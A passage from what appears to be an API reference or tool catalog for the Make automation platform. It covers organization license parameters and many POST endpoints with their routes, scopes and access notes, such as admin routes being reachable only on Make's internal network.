    The maximum duration of a scenario execution in minutes.

    Type: uinteger

    Values:

    • min: 5
    • max: 45

    customVariables

    Allows using the custom variables feature.

    Type: boolean

    customFunctions

    Allows using the custom functions feature.

    Type: boolean

    fslimit REQUIRED

    Maximum individual file size in bytes that a scenario in the organization can transfer.

    Type: uinteger

    Values:

    • min: 5242880
    • max: 1048576000

    productManagement

    Defines the subscription management method. Organizations in the Make White Label platform must have this parameter set to "salesforce". You cannot change the value of this parameter.

    Type: enum<string>

    Values:

    • salesforce

    iolimit REQUIRED

    Sets the maximum size of input and output webhook queues.

    Type: uinteger

    Values:

    • min: 10
    • max: 10000

    gracePeriod

    Sets a time limit in days during which the organization has access to all of its features without payment. Organizations in the Make White Label platform must have this parameter set to 0. You cannot change the value of this parameter.

    Type: uinteger

    Values:

    • 0

    appslimit

    Sets the maximum number of apps used by all active scenarios in the organization. Unlimited if not specified.

    Type: uinteger

    onDemandScheduling

    Allows scenario On-Demand scheduling.

    Type: boolean

    scenarioIO

    Allows the scenario inputs feature for the scenarios in the organization.

    Type: boolean

    customProperties

    Enables the custom properties feature. With custom properties, your users can add custom metadata to scenarios and use them to sort and filter their scenarios.
    The specified number sets the maximum number of structure items in a custom property structure.

    Type: uinteger

    Values:

    • default: 100

    auditLogsDays

    Set the parameter to a non-zero number to enable the audit logs feature. With audit logs, you can track and review user actions in Make. In addition, users with the "Owner," "Admin" and "Team Admin" roles can view audit logs in Make.
    The specified number is the amount of days for which Make stores the audit log entries.
    The default value 0 disables the feature.

    Type: uinteger

    Values:

    • default: 0

    webhookLogRetentionDays

    Sets the number of days for which Make keeps webhook logs.

    Type: uinteger

    Values:

    • default: 3
    • min: 3
    • max: 30

    maxInterruptedExecutionDays

    Sets the maximum number of days a single scenario execution can stay interrupted before Make cancels it.

    Type: enum<uinteger>

    Values:

    • 7
    • 30
    • 90
    • 365

    dynamicDependencies

    Enables dynamic dependencies in a scenario. Dynamic dependencies allow users to map Make entities, like connections or data stores, in their scenarios.
    For example, dynamic connections are dynamic dependencies.

    Type: boolean

    Values:

    • default: false

    dynamicConnections

    Enables dynamic connections in a scenario. To allow using dynamic connections, you have to enable dynamic dependencies as well.

    Type: boolean

    Values:

    • default: false
    . NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. POST /api/v1/make/admin/organizations. Scopes: admin:write, organizations:write. make_post_admin_organizations_by_organizationid_assign_universal_discount (write) — Assigns a universal discount to the organization. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. POST /api/v1/make/admin/organizations/{organizationId}/assign-universal-discount. Scopes: admin:write, organizations:write. make_post_admin_sdk_apps_by_app_connections_by_connection_rename (write) — Renames a connection of a custom SDK app. The new `name` must be a kebab-case slug and must be globally unique across all connections. Only private or published apps can be renamed; approved (public) apps are not eligible. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. POST /api/v1/make/admin/sdk/apps/{app}/connections/{connection}/rename. Scopes: admin:write, sdk-apps:write. make_post_admin_sdk_apps_by_app_webhooks_by_webhook_rename (write) — Renames a webhook of a custom SDK app. The new `name` must be a kebab-case slug and must be globally unique across all webhooks. Only private or published apps can be renamed; approved (public) apps are not eligible. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. POST /api/v1/make/admin/sdk/apps/{app}/webhooks/{webhook}/rename. Scopes: admin:write, sdk-apps:write. make_post_admin_teams (write) — Creates a new team in the specified organization. You can set the team admin with the parameter `userTeamAdmin` in the request body. If you don't use the `userTeamAdmin` parameter and you are part of the organization, then Make sets you as the team admin. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. POST /api/v1/make/admin/teams. Scopes: admin:write, teams:write. make_post_admin_users (write) — Creates a new user. Specify the user's `name` and `email` in the request body. You have to either send an invitation mail to the user with the `sendEmail: true` or you have to specify the user password in the `password` field in the request body. If you send the invitation mail, the mail contains automatically generated password. The user has to change their password right after logging in. You can also set the user's country, locale and timezone with the request body parameters. If you don't specify the user's country, locale or timezone Make uses your account's country, locale or timezone. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. POST /api/v1/make/admin/users. Scopes: admin:write, user:write. make_post_admin_users_by_userid_user_organization_roles_by_organizationid (write) — Sets user role in the organization. Specify the user organization role ID in the request body. Get all available user role IDs and the corresponding user role names with the API call `GET /users/roles`. If the user is not a member of the organization, the API call adds the user to the organization with the specified role. If you add the user to the organization as "Admin" (`usersRoleId = 12`) and the organization has teams, Make assigns the user to the organization as the organization "Admin" and to all teams in the organization as "Team Admin". Once you add a user as "Team Admin" you cannot change their team role. The only option to change the "Team Admin" role is to remove the user from the team and re-add them with the specified team role. If you add the user to the organization with a role other than "Admin" Make doesn't add the user to any organization's teams. In the Administration interface, the user appears with the role "None" in all teams in the organization. The users with the role "None" in a team or an organization cannot access the team or organization data in any way. You cannot change the organization "Owner" with this endpoint. Use the API call to transfer organization ownership (https://www.make.com/en/api-documentation/organizations-organizationId-user-organization-roles-transfer-post) instead. To remove a user from an organization, send an empty request body. The API call removes the user with the specified `userId` from the organization, setting the user's organization role to "None". NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. POST /api/v1/make/admin/users/{userId}/user-organization-roles/{organizationId}. Scopes: admin:write, user:write. make_post_admin_users_by_userid_user_organization_roles_by_organizationid_transfer (write) — Transfer organization ownership to the user with the specified `userId`. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. POST /api/v1/make/admin/users/{userId}/user-organization-roles/{organizationId}/transfer. Scopes: admin:write, user:write. make_post_admin_users_by_userid_user_team_roles_by_teamid (write) — Sets the user role in the team. Specify the user team role ID in the request body. The user has to be already a member of the team's organization. Get all available user role IDs and the corresponding user role names with the API call `GET /users/roles`. If the user is not a member of the team, the API call adds the user to the team with the specified role. If you send an empty request body, the API call removes the user with the specified `userId` from the team, setting the user's team role to "None". NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. POST /api/v1/make/admin/users/{userId}/user-team-roles/{teamId}. Scopes: admin:write, user:write. make_post_affiliate_partner_register (write) — Registers the user as a partner in the affiliate program. POST /api/v1/make/affiliate/partner-register. Scopes: user:write. make_post_affiliate_payout_request (write) — Request a payout of available commissions. POST /api/v1/make/affiliate/payout-request. Scopes: user:write. make_post_agents_by_agentid (write) — Creates a new agent. POST /api/v1/make/agents/{agentId}. Scopes: agents:write. make_post_ai_agents_v1_agents (write) — Create a new agent. POST /api/v1/make/ai-agents/v1/agents. Scopes: ai-agents:write. make_post_ai_agents_v1_agents_by_agentid_run (write) — Run an agent with the provided ID. POST /api/v1/make/ai-agents/v1/agents/{agentId}/run. Scopes: ai-agents:write. make_post_ai_agents_v1_contexts (write) — Create a new context with an optional file upload. POST /api/v1/make/ai-agents/v1/contexts. Scopes: ai-agents:write. make_post_ai_browser_context_setups (write) — Starts an interactive setup flow for a new AI Browser context (a managed `ai-browser-context` keychain key). Opens a fresh remote browser session where the user logs in to their services; the returned `liveViewUrl` is rendered in the Make UI. The flow is then driven with the returned `setupId`: poll its status, and complete or cancel it. The flow expires 15 minutes after it starts. Available only when the `is_ai_browser_contexts_enabled` feature flag is enabled. POST /api/v1/make/ai-browser/context-setups. Scopes: keys:write. make_post_ai_browser_context_setups_by_setupid_complete (write) — Completes a browser context setup flow after the user has finished logging in. Releases the remote browser session, waits for the browser state to be written back into the context, and then — for a create flow — creates the `ai-browser-context` key, or — for a refresh flow — returns the existing key. A flow can be completed exactly once; only the user who started it can complete it. Available only when the `is_ai_browser_contexts_enabled` feature flag is enabled. POST /api/v1/make/ai-browser/context-setups/{setupId}/complete. Scopes: keys:write. make_post_ai_browser_contexts_by_keyid_refresh_setups (write) — Starts an interactive refresh flow for an existing AI Browser context key. Opens a remote browser session attached to the key's existing context so the user can re-authenticate expired logins; the context (and the key) keep their identity. The flow is then driven with the returned `setupId`, exactly like a create flow. The flow expires 15 minutes after it starts. Available only when the `is_ai_browser_contexts_enabled` feature flag is enabled. POST /api/v1/make/ai-browser/contexts/{keyId}/refresh-setups. Scopes: keys:write. make_post_ai_error_analysis (write) — Proxies the error message and scenario blueprint to an AI-powered webhook that returns a human-readable explanation of what happened, why, and what to do next. POST /api/v1/make/ai-error-analysis. Scopes: scenarios:read. make_post_connections (write) — Creates a new connection with data passed in the request body. In the response, it returns all details of the created connection. POST /api/v1/make/connections. Scopes: connections:write. make_post_connections_by_connectionid_make_locked (write) — Restricts the connection's visibility to its access list (`visibility: locked`). The caller becomes the sole admin of the locked connection. Caller rule: only the connection's author can lock it, and that author must still be a member of the connection's team. A connection without an author cannot be locked. The operation is idempotent — locking an already locked connection succeeds without any change; the caller rule above still applies. Requires the *Locked connections* feature to be enabled for the organization. POST /api/v1/make/connections/{connectionId}/make-locked. Scopes: connections:write. make_post_connections_by_connectionid_make_team (write) — Makes a locked connection visible to the whole team again (`visibility: team`) and clears the connection's entire access list. Only an admin of the locked connection can perform the flip. The connection's author is not changed. The operation is idempotent — flipping an already team-visible connection succeeds, provided the caller has the `account edit` permission; any residual entries on the connection's access list are still cleared. Requires the *Locked connections* feature to be enabled for the organization. POST /api/v1/make/connections/{connectionId}/make-team. Scopes: connections:write. make_post_connections_by_connectionid_scoped (write) — Verifies if a scope for a given connection is set. This endpoint returns the information if the connection is scoped (`true`) or not (`false`). POST /api/v1/make/connections/{connectionId}/scoped. Scopes: connections:write. make_post_connections_by_connectionid_set_data (write) — Updates the specified connection with data in the request body. Check which data you need to send to update the connection with the API call `GET /connections/{connectionId}/editable-data-schema`. The data might be different for each app and connection type. The new connection data replace the original connection data. Make sure to provide all relevant data. If a field is missing in the request body, Make replaces the field in the new connection with an empty value. For OAuth connections, you need to log in to Make and confirm the changes with the Reauthorize button. For the rest of the connection types, Make starts using the new connection data immediately. If the connection cannot be updated then the API call returns the error message "Cannot edit this connection." When this happens, create a new connection instead. POST /api/v1/make/connections/{connectionId}/set-data. Scopes: connections:write. make_post_connections_by_connectionid_test (write) — Verifies the connection status. This endpoint usually communicates with the API of the app that includes the given connection and verifies if credentials saved in Make are still valid. It returns the confirmation if the connection is verified (`true`) or not (`false`). POST /api/v1/make/connections/{connectionId}/test. Scopes: connections:write. make_post_credential_requests_actions_create (write) — Creates a new Action for a Credential Creation. Either 'connection' or 'key' must be provided in the request body, but not both. POST /api/v1/make/credential-requests/actions/create. Scopes: credential-requests:write. make_post_credential_requests_credentials_by_credentialid_decline (write) — Declines a credential by setting its state to declined and recording the reason. This endpoint is idempotent and can be used to update the decline reason of an already declined credential. POST /api/v1/make/credential-requests/credentials/{credentialId}/decline. Scopes: credential-requests:write. make_post_credential_requests_credentials_by_credentialid_delete_remote (write) — Deletes a credential from the remote platform (Make Web API) and resets its state to pending. The credential can then be re-created through the normal creation flow. POST /api/v1/make/credential-requests/credentials/{credentialId}/delete-remote. Scopes: credential-requests:write. make_post_credential_requests_credentials_by_credentialid_request_reauthorize (write) — Tests the OAuth connection and transitions to reauthorizing state if invalid. Returns an error if the connection is still valid. POST /api/v1/make/credential-requests/credentials/{credentialId}/request-reauthorize. Scopes: credential-requests:write. make_post_credential_requests_requests (write) — Creates a new request for Credentials. Supports two flows: 1) Flow for new Make users, 2) Flow for existing Make users. DEPRECATED by Make; prefer the non-deprecated sibling. POST /api/v1/make/credential-requests/requests. Scopes: credential-requests:write. make_post_credential_requests_requests_v2 (write) — Creates a new request for Credentials using app and module selections. Credentials (connections/keys) are automatically derived from the selected modules using the modules-with-credentials API. Supports two provider flows: 1. Existing Make user - Reference an existing Make user by their ID. The user will be added to the team if not already a member. 2. New user invitation - Invite a new user by providing their name and email. POST /api/v1/make/credential-requests/requests/v2. Scopes: credential-requests:write. make_post_custom_property_structures (write) — Creates a custom properties structure. You can have only one custom properties structure for each combination of `associatedType`, `belongerType`and `belongerId` values. For example, you can create only one custom properties structure for scenarios in a specific organization. To create a structure for custom scenario properties, fill in the request body: - `associatedType`: `scenario` - `belongerType`: `organization` Check out the example API call. To define the custom properties structure items, use the API call to create custom properties structure item (./structure-items/post--custom-property-structures--custompropertystructureid--custom-property-structure-items.md). POST /api/v1/make/custom-property-structures. Scopes: custom-property-structures:write. make_post_custom_property_structures_by_custompropertystructureid_custom_property_structure_items (write) — Creates custom properties structure items. After creating a structure item, you cannot change its `name` and `type`. To add data to the custom properties, use the API call to fill in custom properties data (../../scenarios/custom-properties-data/post--scenarios--scenarioid--custom-properties.md). POST /api/v1/make/custom-property-structures/{customPropertyStructureId}/custom-property-structure-items. Scopes: custom-property-structures:write. make_post_data_stores (write) — Creates a new data store with data passed in the request body. In the response, it returns all details of the created data store. POST /api/v1/make/data-stores. Scopes: datastores:write. make_post_data_stores_by_datastoreid_data (write) — Creates a new record in a data store with a given ID and returns all record details. POST /api/v1/make/data-stores/{dataStoreId}/data. Scopes: datastores:write. make_post_data_structures (write) — Creates a new data structure with data passed in the request body. In the response, it returns all details of the created data structure including its full specification. POST /api/v1/make/data-structures. Scopes: udts:write. make_post_data_structures_by_datastructureid_clone (write) — Clones the specified data structure. Use the `targetTeamId` to clone the data structure to the specified team. The response contains all details of the data structure clone with data structure full specification. POST /api/v1/make/data-structures/{dataStructureId}/clone. Scopes: udts:write. make_post_devices_request (write) — Required scope: devices:write. POST /api/v1/make/devices/request. Scopes: devices:write. make_post_dlqs_by_dlqid_retry (write) — Triggers a retry of the specified incomplete execution. The incomplete execution runs with the blueprint from when the error happened. If you need to update the blueprint first, use the endpoint `PATCH /dlqs/{dlqId}`. POST /api/v1/make/dlqs/{dlqId}/retry. Scopes: dlqs:write. make_post_dlqs_retry (write) — Triggers a retry of the specified incomplete executions. You can either use the `all` parameter to retry all incomplete executions of the scenario, or specify a list of incomplete execution IDs in the `ids` property. You can use the `exceptIds` parameter to exclude incomplete executions from retrying. The incomplete executions run with the blueprint from when the error happened. If you need to update the blueprint first, use the endpoint `PATCH /dlqs/{dlqId}`. Make puts the incomplete executions in a queue. If you are retrying a large number of incomplete executions, there might be a delay between receiving the response and Make retrying the incomplete execution. POST /api/v1/make/dlqs/retry. Scopes: dlqs:write. make_post_endpoints_execute (write) — Executes an App Endpoint (see `GET /imt/endpoints-usable` and the SDK Apps / Endpoints section for how Endpoints are defined) and returns its raw output. The response's `output` is currently a free-form, executor-defined value — its shape depends entirely on the executed Endpoint and is not constrained by this route. POST /api/v1/make/endpoints/execute. Scopes: endpoints:run. make_post_functions (write) — Creates a custom function. Specify function `name`, `description` and `code` in the request body. You cannot use a JavaScript reserved word for the function `name`. Check the list of JavaScript reserved words (https://www.w3schools.com/js/js_reserved.asp). Make sure to use the same function name in the `name` field and in the function's `code`. Otherwise, you get the IM005 error. Make validates the custom function's code first. You get an IM005 error if the code validation fails. The validation might fail because of a syntax error in the function's code or when the code uses a JavaScript feature that Make doesn't support. Check the custom functions limitations (https://www.make.com/en/help/functions/custom-functions#limitations-of-custom-functions) in the Make Help center. Check availability of the custom functions feature with the API call `GET /organizations/{organizationId}` for the organization to which the team belongs. If the response contains `"customFunctions": true` pair in the `license` object then you have access to the custom functions feature. Refer to the Make pricing page (https://www.make.com/en/help/general/pricing-parameters) for Make pricing plans overview. POST /api/v1/make/functions. Scopes: functions:write. make_post_functions_eval (write) — Checks the custom functions code. The response contains information whether Make validated the custom functions code successfully or whether there was an error. The code validation might fail because of an syntax error in the function's code or when the code uses a JavaScript feature that Make doesn't support. Check the custom functions limitations (https://www.make.com/en/help/functions/custom-functions#limitations-of-custom-functions) in the Make Help center. Check availability of the custom functions feature with the API call `GET /organizations/{organizationId}` for the organization to which the team belongs. If the response contains `"customFunctions": true` pair in the `license` object then you have access to the custom functions feature. Refer to the Make pricing page (https://www.make.com/en/help/general/pricing-parameters) for Make pricing plans overview. POST /api/v1/make/functions/eval. Scopes: functions:write. make_post_hooks (write) — Creates a new hook with data passed in the request body. In the response, it returns all details of the created hook. POST /api/v1/make/hooks. Scopes: hooks:write. make_post_hooks_by_hookid_disable (write) — Disables a hook with a given ID. Newly created hooks are enabled by default which means they are ready to accept data. The disabled hook does not accept any data. This endpoint can be useful when you want to debug the scenario functionality. In response, this endpoint returns the confirmation that the hook was successfully disabled. POST /api/v1/make/hooks/{hookId}/disable. Scopes: hooks:write. make_post_hooks_by_hookid_enable (write) — Enables a disabled hook with a given ID. Newly created hooks are enabled by default which means they are ready to accept data. In response, this endpoint returns the confirmation that the hook was successfully enabled. POST /api/v1/make/hooks/{hookId}/enable. Scopes: hooks:write. make_post_hooks_by_hookid_learn_start (write) — Starts the process of learning the request body structure by a hook with a given ID. When you send to the hook address a request with data in its body, you can use this endpoint to force the hook to start determining the payload data structure which will later be suggested in the scenario as the output of the hook. The data structure learning process also starts automatically when a new hook is created and stops once the data structure is determined. If you want to stop this process, you can use the Learn stop (./post--hooks--hookid--learn-stop.md) endpoint. POST /api/v1/make/hooks/{hookId}/learn-start. Scopes: hooks:write. make_post_hooks_by_hookid_learn_stop (write) — Stops the process of learning the request body structure by a hook with a given ID. When you send to the hook address a request with data in its body, you can use the Learn start (./post--hooks--hookid--learn-start.md) endpoint to force the hook to start determining the payload data structure which will later be suggested in the scenario as the output of the hook. The data structure learning process also starts automatically when a new hook is created and stops once the data structure is determined. You can use this endpoint to stop the learning process at any time. POST /api/v1/make/hooks/{hookId}/learn-stop. Scopes: hooks:write. make_post_hooks_by_hookid_set_data (write) — Sets data for a hook with a given ID. Data differ depending on the hook type. It returns the confirmation if the hook data was changed (`true`) or not (`false`). POST /api/v1/make/hooks/{hookId}/set-data. Scopes: hooks:write. make_post_internal_entity_placements_check (write) — Returns the save-time locked-entity verdict for a blueprint the caller is about to execute: rejects with `IM002` when a module places a locked connection or key the user may not use and that placement is not already stored unchanged. Only services that gate a manual execution on this verdict may call it — any other caller is rejected with `SC500`, since reaching this route is an integration bug rather than a client-facing access denial. Fail-closed: when the verdict cannot be reached, the response is an `IM016` error, never an allow. While the organization's enforcement flag is off (log-only rollout), a violation is logged and the response is an allow — the same softening the save hooks apply; `IM016` stays fail-closed in both modes. NOT CALLABLE with this connection's API token: the /internal plane is not served on the public API host. POST /api/v1/make/internal/entity-placements/check. Scopes: organizations:read. make_post_internal_hooks_by_hookid_unregister (write) — Deletes a hook using ISC authorization, forcing removal and confirming the operation on behalf of the caller. Only the Executor may call this endpoint — any other caller is rejected with `SC500`, since reaching this route is an integration bug rather than a client-facing access denial. Note: the underlying procedure does not check hook existence up front — an unknown `hookId` fails with `IM002` (its permission check runs against a null team) rather than a dedicated not-found error. NOT CALLABLE with this connection's API token: the /internal plane is not served on the public API host. POST /api/v1/make/internal/hooks/{hookId}/unregister. Scopes: organizations:read. make_post_internal_hooks_register (write) — Registers a new hook (webhook/mailhook) for a team using ISC authorization. Only the Executor may call this endpoint — any other caller is rejected with `SC500`, since reaching this route is an integration bug rather than a client-facing access denial. NOT CALLABLE with this connection's API token: the /internal plane is not served on the public API host. POST /api/v1/make/internal/hooks/register. Scopes: organizations:read. make_post_internal_teams_by_teamid_connections (write) — Creates a new team connection (TAC) for the specified team. Non-OAuth connections are automatically tested after creation via the ConnectionWorker validate/test lifecycle — on success the connection is marked as valid and credentials are persisted. If the test fails, the connection is deleted and a 422 is returned. OAuth connections are created but left unauthorized — the caller must complete the OAuth flow separately. NOT CALLABLE with this connection's API token: the /internal plane is not served on the public API host. POST /api/v1/make/internal/teams/{teamId}/connections. Scopes: organizations:read. make_post_keys (write) — Creates a key in your keychain. Use the list of key types (./get--keys--types.md) API call to get a list of available key types for the `typeName` parameter. Specify additional parameters in the `parameters` object based on the key type. POST /api/v1/make/keys. Scopes: keys:write. make_post_keys_by_keyid_make_locked (write) — Restricts the key's visibility to its access list (`visibility: locked`). The caller becomes the sole admin of the locked key. Caller rule: only the key's author can lock it, and that author must still be a member of the key's team. A key without an author cannot be locked. The operation is idempotent — locking an already locked key succeeds without any change; the caller rule above still applies. Requires the *Locked connections* feature to be enabled for the organization. POST /api/v1/make/keys/{keyId}/make-locked. Scopes: keys:write. make_post_keys_by_keyid_make_team (write) — Makes a locked key visible to the whole team again (`visibility: team`) and clears the key's entire access list. Only an admin of the locked key can perform the flip. The key's author is not changed. The operation is idempotent — flipping an already team-visible key succeeds, provided the caller has the `key edit` permission; any residual entries on the key's access list are still cleared. Requires the *Locked connections* feature to be enabled for the organization. POST /api/v1/make/keys/{keyId}/make-team. Scopes: keys:write. make_post_notifications_mark_as_read (write) — Marks all notifications as read and returns the IDs of the updated notifications in the response. POST /api/v1/make/notifications/mark-as-read. Scopes: notifications:write. make_post_oauth_auth_by_connectionid (write) — Authorize (deprecated). DEPRECATED by Make; prefer the non-deprecated sibling. POST /api/v1/make/oauth/auth/{connectionId}. Scopes: organizations:read. make_post_oauth_cb_by_connectiontype (write) — Oauth Callback (deprecated). DEPRECATED by Make; prefer the non-deprecated sibling. POST /api/v1/make/oauth/cb/{connectionType}. Scopes: organizations:read. make_post_oauth_cb_by_connectiontype_by_connectionid (write) — Oauth Callback Id (deprecated). DEPRECATED by Make; prefer the non-deprecated sibling. POST /api/v1/make/oauth/cb/{connectionType}/{connectionId}. Scopes: organizations:read. make_post_oauth_convert_saml_xml_to_json (write) — Parses saml xml to json with info about user. POST /api/v1/make/oauth/convert/saml-xml-to-json. Scopes: organizations:read. make_post_oauth_extend_by_connectionid (write) — Extend (deprecated). DEPRECATED by Make; prefer the non-deprecated sibling. POST /api/v1/make/oauth/extend/{connectionId}. Scopes: organizations:read. make_post_oauth_reauth_by_connectionid (write) — Reauthorize (deprecated). DEPRECATED by Make; prefer the non-deprecated sibling. POST /api/v1/make/oauth/reauth/{connectionId}. Scopes: organizations:read. make_post_organizations (write) — Create a new organization using the data sent in the request body. Successful response contains all information about the created organization. POST /api/v1/make/organizations. Scopes: admin:write, organizations:write. make_post_organizations_accept_invitation (write) — Accept invitation. POST /api/v1/make/organizations/accept-invitation. Scopes: organizations:write. make_post_organizations_by_organizationid_domains_by_organizationdomainid_verify (write) — Verify the domain for given organization using DNS TXT record method. POST /api/v1/make/organizations/{organizationId}/domains/{organizationDomainId}/verify. Scopes: organizations:write. make_post_organizations_by_organizationid_invite (write) — Invite a user to the organization. To automatically add the user to teams, specify IDs of the teams. The user gets the team role member. You can change the user team role with the API call `POST /users/{userId}/user-team-roles/{teamId}`. POST /api/v1/make/organizations/{organizationId}/invite. Scopes: organizations:write. make_post_organizations_by_organizationid_managed_organizations (write) — A successful response contains information about the new organization and user. The endpoint requires `regionId` and `countryId` in the request body. The `regionId` can be retrieved from the GET `/enums/imt-regions` endpoint, and the `countryId` can be found in GET `/enums/countries`. The `operations` parameter must be a multiple of 10000. The user name can be an existing user or an external contact without a Make account yet. Refer to the MMS page (https://help.make.com/make-managed-services-mms) for Make Managed Services (MMS) overview. POST /api/v1/make/organizations/{organizationId}/managed-organizations. Scopes: managed-organizations:write. make_post_organizations_by_organizationid_scenarios_by_scenarioid_executions_by_executionid_io_data_search (write) — Searches the module input/output (IO) data produced by a single scenario execution using a free-text `query`, and returns every matching IO-data record for that execution — no grouping and no pagination. The scenario's team is resolved from `scenarioId`; the caller must hold the scenario-logs read permission on that team. The `from` and `to` bounds are applied at UTC-day granularity — only the calendar-day portion of each timestamp is honored. When omitted, the search defaults to the last 7 UTC days, so supply a window that covers the execution's timestamp to search older executions. POST /api/v1/make/organizations/{organizationId}/scenarios/{scenarioId}/executions/{executionId}/io-data/search. Scopes: organizations:read. make_post_organizations_by_organizationid_scenarios_executions_io_data_counts (write) — Counts how many scenarios and executions across the organization (or a specific team) produced module input/output (IO) data matching a free-text `query`. Returns global, exact totals plus a per-scenario breakdown of how many distinct executions matched. Counts are computed over the entire match set (not a page): there is no client-facing pagination. Internally the endpoint pages through all matching `(scenario, execution)` pairs using an Elasticsearch composite aggregation. The `from` and `to` bounds are applied at UTC-day granularity — only the calendar-day portion of each timestamp is honored. When omitted, the search defaults to the last 7 days, mirroring the other organization scenario-log endpoints. POST /api/v1/make/organizations/{organizationId}/scenarios/executions/io-data/counts. Scopes: organizations:read. make_post_organizations_by_organizationid_scenarios_executions_io_data_search (write) — Searches the module input/output (IO) data produced by scenario executions across the organization (or a specific team) using a free-text `query`. Matches are grouped by execution: each result contains up to 5 IO-data records that matched the query together with the metadata of the parent execution. Use the optional filters to restrict the search to specific teams, scenarios, apps, modules, or a time window. The `from` and `to` bounds are applied at UTC-day granularity — only the calendar-day portion of each timestamp is honored. IO-data records earlier or later within the same UTC day as a supplied bound may still appear in the results, and the execution metadata attached to each match may include executions from the immediately adjacent UTC days. POST /api/v1/make/organizations/{organizationId}/scenarios/executions/io-data/search. Scopes: organizations:read. make_post_organizations_by_organizationid_scenarios_executions_modules_io_data_counts (write) — For a single scenario, counts how many distinct executions produced module input/output (IO) data matching a free-text `query`. The `from` and `to` bounds are applied at UTC-day granularity — only the calendar-day portion of each timestamp is honored. When omitted, the search defaults to the last 7 days. POST /api/v1/make/organizations/{organizationId}/scenarios/executions/modules/io-data/counts. Scopes: organizations:read. make_post_organizations_by_organizationid_scenarios_executions_search (write) — Retrieves execution logs across all scenarios in an organization (or a specific team within the organization), narrowed by `from`/`to`, execution `status`, `scenarioIds`, or a substring of the `errorMessage`. When `from` or `to` are omitted, the time window defaults to the last 7 days. Results are returned in reverse-chronological order. The `from` and `to` bounds are applied at UTC-day granularity — only the calendar-day portion of each timestamp is honored. Executions that occurred earlier or later within the same UTC day as a supplied bound may still appear in the results. POST /api/v1/make/organizations/{organizationId}/scenarios/executions/search. Scopes: organizations:read. make_post_organizations_by_organizationid_subscription (write) — Create a new subscription. POST /api/v1/make/organizations/{organizationId}/subscription. Scopes: organizations:write. make_post_organizations_by_organizationid_subscription_free (write) — Sets Free plan subscription. POST /api/v1/make/organizations/{organizationId}/subscription-free. Scopes: organizations:write. make_post_organizations_by_organizationid_subscription_pause (write) — Schedules a pause for the active monthly self-service subscription. The pause becomes effective at the end of the current paid period and is automatically resumed on `resumeAt`. While paused the organization is treated as unlicensed (0 credits) and Stripe collection is suspended. POST /api/v1/make/organizations/{organizationId}/subscription/pause. Scopes: organizations:write. make_post_organizations_by_organizationid_subscription_unpause (write) — Ends the pause for the subscription. If the pause is still scheduled (current period not yet ended) it is simply cancelled — no charge, no billing reset. If the pause is in effect, the subscription is resumed immediately, billing anchor is reset to now and a fresh period is charged. POST /api/v1/make/organizations/{organizationId}/subscription/unpause. Scopes: organizations:write. make_post_organizations_by_organizationid_test_clock_advance (write) — Advance a test clock (TEST ONLY). POST /api/v1/make/organizations/{organizationId}/test-clock/advance. Scopes: organizations:write. make_post_organizations_by_organizationid_test_pause_unpause (write) — Trigger a pause/unpause task for an specific organization (TEST ONLY). POST /api/v1/make/organizations/{organizationId}/test-pause-unpause. Scopes: organizations:write. make_post_organizations_by_organizationid_universal_discount_claim_cancellation_offer (write) — Claims a cancellation offer discount for the organization. The user must have the 'payment edit' permission on the organization. The organization must be eligible (no existing universal discount, no active coupon/promo). POST /api/v1/make/organizations/{organizationId}/universal-discount/claim-cancellation-offer. Scopes: organizations:write. make_post_organizations_by_organizationid_universal_discount_redeem (write) — Activates a dormant universal discount on the user's current subscription. The current price must be eligible and no other discount can be active. POST /api/v1/make/organizations/{organizationId}/universal-discount/redeem. Scopes: organizations:write. make_post_organizations_by_organizationid_user_organization_roles_transfer (write) — Transfer organization ownership to the specified user. POST /api/v1/make/organizations/{organizationId}/user-organization-roles/transfer. Scopes: organizations:write. make_post_organizations_by_organizationid_variables (write) — Creates new organization variable. You can check the availability of the custom variables feature with the API call `GET /organizations/{organizationId}`. If the response contains `"customVariables": true` pair in the `license` object then you have access to the custom variables feature. A successful response contains all information about the new variable. If you don't have the custom variables feature available then the API call returns the error 404. Refer to the Make pricing page (https://www.make.com/en/help/general/pricing-parameters) for Make pricing plans overview. POST /api/v1/make/organizations/{organizationId}/variables. Scopes: organization-variables:write. make_post_outbound_webhooks_organizations_by_organizationid_webhooks (write) — Registers a new outbound webhook subscription for the organization. The response includes a one-time `signingSecret` that is not retrievable later. Endpoint is proxy for the Outbound Webhooks service. Full schema documentation is available at https://github.com/integromat/outbound-webhooks/blob/master/openapi/openapi.json. POST /api/v1/make/outbound-webhooks/organizations/{organizationId}/webhooks. Scopes: organizations:write. make_post_rpcs_by_appname_by_appversion_by_rpcname (write) — Call RPC. POST /api/v1/make/rpcs/{appName}/{appVersion}/{rpcName}. Scopes: organizations:read. make_post_scenario_labels (write) — Creates a new team label. Requires `scenario edit` on the team. Label names are unique (case-insensitive) within a team. POST /api/v1/make/scenario-labels. Scopes: scenarios:write. make_post_scenario_labels_assign_scenarios (write) — Assigns every accepted team label to every accepted scenario in one transaction. The raw request accepts up to 100 label IDs and 1,000 scenario IDs before duplicate IDs are removed. Missing, non-team, and different-team labels are rejected with the same `IM013` response. Missing and different-team scenarios are rejected with `IM002`; trashed scenarios in the requested team are rejected with `IM301`. Existing assignments are accepted no-ops. A processed request returns `200` even when every resource is rejected. POST /api/v1/make/scenario-labels/assign-scenarios. Scopes: scenarios:write. make_post_scenario_labels_by_labelid_scenarios_by_scenarioid (write) — Assigns a team label to a single scenario. A team label may only be applied to scenarios in that same team. Idempotent. POST /api/v1/make/scenario-labels/{labelId}/scenarios/{scenarioId}. Scopes: scenarios:write. make_post_scenario_labels_unassign_scenarios (write) — Removes every accepted team label from every accepted scenario in one transaction. The raw request accepts up to 100 label IDs and 1,000 scenario IDs before duplicate IDs are removed. Missing, non-team, and different-team labels are rejected with the same `IM013` response. Missing and different-team scenarios are rejected with `IM002`; trashed scenarios in the requested team are rejected 